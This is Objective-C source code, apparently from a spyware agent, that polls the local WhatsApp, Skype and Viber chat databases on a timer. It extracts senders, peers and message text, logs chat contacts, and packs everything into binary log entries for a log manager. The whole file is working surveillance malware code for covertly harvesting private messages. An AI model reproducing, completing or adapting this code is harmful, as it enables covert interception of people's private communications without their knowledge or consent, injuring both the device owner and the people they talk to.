- (NSMutableData*)createWAChatLog:(NSString*)_sender
withPeers:(NSString*)_peers
andText:(NSString*)_text
{
NSData *processName = [@"WhatsApp" dataUsingEncoding: NSUTF16LittleEndianStringEncoding];
NSData *topic = [@"-" dataUsingEncoding: NSUTF16LittleEndianStringEncoding];
NSData *peers = [_peers dataUsingEncoding: NSUTF16LittleEndianStringEncoding];
NSData *content = [_text dataUsingEncoding: NSUTF16LittleEndianStringEncoding];
NSMutableData *entryData = [NSMutableData dataWithCapacity:0];
short unicodeNullTerminator = 0x0000;
time_t rawtime;
struct tm *tmTemp;
// Struct tm
time (&rawtime);
tmTemp = gmtime(&rawtime);
tmTemp->tm_year += 1900;
tmTemp->tm_mon ++;
// Our struct is 0x8 bytes bigger than the one declared on win32
// this is just a quick fix
if (sizeof(long) == 4) // 32bit
{
[entryData appendBytes: (const void *)tmTemp
length: sizeof (struct tm) - 0x8];
}
else if (sizeof(long) == 8) // 64bit
{
[entryData appendBytes: (const void *)tmTemp
length: sizeof (struct tm) - 0x14];
}
// Process Name
[entryData appendData: processName];
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// Topic
[entryData appendData: topic];
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// Peers
[entryData appendData: peers];
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// Content
[entryData appendData: [_sender dataUsingEncoding: NSUTF16LittleEndianStringEncoding]];
[entryData appendData: [@": " dataUsingEncoding: NSUTF16LittleEndianStringEncoding]];
[entryData appendData: content];
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// Delimiter
unsigned int del = LOG_DELIMITER;
[entryData appendBytes: &del
length: sizeof(del)];
return entryData;
}
/* old char version* - end */
- (NSMutableData*)createNewChatLog:(NSString*)_sender
withPeers:(NSString*)_peers
text:(NSString*)_text
type:(NSNumber*)theType
andFlags:(NSNumber*)theFlags
{
// Delimiter
unsigned int del = LOG_DELIMITER;
short unicodeNullTerminator = 0x0000;
time_t rawtime;
struct tm *tmTemp;
int32_t programType = [theType intValue];
int32_t flags = 0x00000000;
NSData *peers = [_peers dataUsingEncoding: NSUTF16LittleEndianStringEncoding];
NSData *content = [_text dataUsingEncoding: NSUTF16LittleEndianStringEncoding];
NSMutableData *entryData = [NSMutableData dataWithCapacity:0];
// Struct tm
time (&rawtime);
tmTemp = gmtime(&rawtime);
tmTemp->tm_year += 1900;
tmTemp->tm_mon ++;
// Our struct is 0x8 bytes bigger than the one declared on win32
// this is just a quick fix
if (sizeof(long) == 4) // 32bit
{
[entryData appendBytes: (const void *)tmTemp
length: sizeof (struct tm) - 0x8];
}
else if (sizeof(long) == 8) // 64bit
{
[entryData appendBytes: (const void *)tmTemp
length: sizeof (struct tm) - 0x14];
}
flags = [theFlags intValue];
// Program
[entryData appendBytes: &programType length:sizeof(programType)];
// Incoming/outcoming
[entryData appendBytes: &flags length:sizeof(flags)];
// From
[entryData appendData: [_sender dataUsingEncoding: NSUTF16LittleEndianStringEncoding]];
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// From_to
[entryData appendData: [_sender dataUsingEncoding: NSUTF16LittleEndianStringEncoding]];
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// to
[entryData appendData: peers];
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// to_display
[entryData appendData: peers];
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// Content
[entryData appendData: content];
[entryData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
// Delim
[entryData appendBytes: &del
length: sizeof(del)];
return entryData;
}
- (void)writeChatLogs:(NSArray*)chatArray
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
if (chatArray == nil || [chatArray count] == 0)
{
[pool release];
return;
}
_i_LogManager *logManager = [_i_LogManager sharedInstance];
BOOL success = [logManager createLog:LOG_CHAT_NEW
agentHeader:nil
withLogID:0];
if (success == FALSE)
{
[pool release];
return;
}
for (int i=0; i < [chatArray count]; i++)
{
NSAutoreleasePool *inner = [[NSAutoreleasePool alloc] init];
NSDictionary* tmpChat = [chatArray objectAtIndex:i];
NSMutableData *tmpData = [self createNewChatLog:[tmpChat objectForKey:@"sender"]
withPeers:[tmpChat objectForKey:@"peers"]
text:[tmpChat objectForKey:@"text"]
type:[tmpChat objectForKey:@"type"]
andFlags:[tmpChat objectForKey:@"flags"]];
[logManager writeDataToLog:tmpData
forAgent:LOG_CHAT_NEW
withLogID:0];
[inner release];
}
[logManager closeActiveLog:LOG_CHAT_NEW
withLogID:0];
[self setProperties];
[pool release];
}
#pragma mark -
#pragma mark Viber chat
#pragma mark -
- (NSMutableArray*)getVbChats
{
sqlite3 *db;
NSMutableArray *chatArray = nil;
if ([self isThreadCancelled] == TRUE)
{
return chatArray;
}
if ((db = [self openVbChatDB]) == NULL)
{
sqlite3_close(db);
return chatArray;
}
chatArray = [self getVbChatMessagesFormDB:db withDate:mLastVbMsgPk];
[self closeVbChatDB: db];
return chatArray;
}
#pragma mark -
#pragma mark Whatsapp chat
#pragma mark -
- (NSMutableArray*)getWAChats
{
sqlite3 *db;
NSMutableArray *chatArray = nil;
if ([self isThreadCancelled] == TRUE)
{
return chatArray;
}
if ((db = [self openWAChatDB]) == NULL)
{
sqlite3_close(db);
return chatArray;
}
chatArray = [self getWAChatMessagesFormDB: db withDate:mLastWAMsgPk];
[self closeWAChatDB: db];
return chatArray;
}
#pragma mark -
#pragma mark Skype chat
#pragma mark -
- (NSMutableArray*)getSkChats
{
sqlite3 *db;
NSMutableArray *chatArray = nil;
if ([self isThreadCancelled] == TRUE)
{
return chatArray;
}
if ((db = [self openSkChatDB]) == NULL)
{
sqlite3_close(db);
return chatArray;
}
chatArray = [self getSkChatMessagesFormDB:db withDate:mLastSkMsgPk];
[self closeSkChatDB: db];
return chatArray;
}
#pragma mark -
#pragma mark Chats polling routine
#pragma mark -
- (void)getChat
{
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
NSMutableArray *waChats = nil;
NSMutableArray *skChats = nil;
NSMutableArray *vbChats = nil;
if ([self isThreadCancelled] == TRUE)
{
[self setMAgentStatus:AGENT_STATUS_STOPPED];
[pool release];
return;
}
skChats = [self getSkChats];
waChats = [self getWAChats];
vbChats = [self getVbChats];
[self writeChatLogs:waChats];
[self writeChatLogs:skChats];
[self writeChatLogs:vbChats];
[pool release];
}
- (void)setChatPollingTimeOut:(NSTimeInterval)aTimeOut
{
NSTimer *timer = [NSTimer scheduledTimerWithTimeInterval: aTimeOut
target: self
selector: @selector(getChat)
userInfo: nil
repeats: YES];
[[NSRunLoop currentRunLoop] addTimer: timer forMode: k_i_AgentChatRunLoopMode];
}
#pragma mark -
#pragma mark Agent Formal Protocol Methods
#pragma mark -
- (void)startAgent
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
BOOL bSkype = [self isThereSkype];
BOOL bViber = [self isThereViber];
BOOL bWhatsApp = [self isThereWahtsApp];
if ([self isThreadCancelled] == TRUE ||
(bSkype == FALSE && bViber == FALSE && bWhatsApp == FALSE))
{
[self setMAgentStatus:AGENT_STATUS_STOPPED];
[outerPool release];
return;
}
[self logChatContacts:mWAUsername
appName:@"WhatsApp"
flag:WHATS_APP_FLAG];
[self logChatContacts:mSkUsername
appName:@"Skype"
flag:SKYPE_APP_FLAG];
[self logChatContacts:mVbUsername
appName:@"Viber"
flag:VIBER_APP_FLAG];
[self getProperties];
[self setChatPollingTimeOut:CHAT_TIMEOUT];
while ([self mAgentStatus] == AGENT_STATUS_RUNNING)
{
NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init];
[[NSRunLoop currentRunLoop] runMode:k_i_AgentChatRunLoopMode
beforeDate:[NSDate dateWithTimeIntervalSinceNow: 1.00]];
[innerPool release];
}
[self setMAgentStatus:AGENT_STATUS_STOPPED];
[outerPool release];
}
- (BOOL)stopAgent
{
[self setMAgentStatus: AGENT_STATUS_STOPPING];
return YES;
}
- (BOOL)resume
{
return YES;
}
@end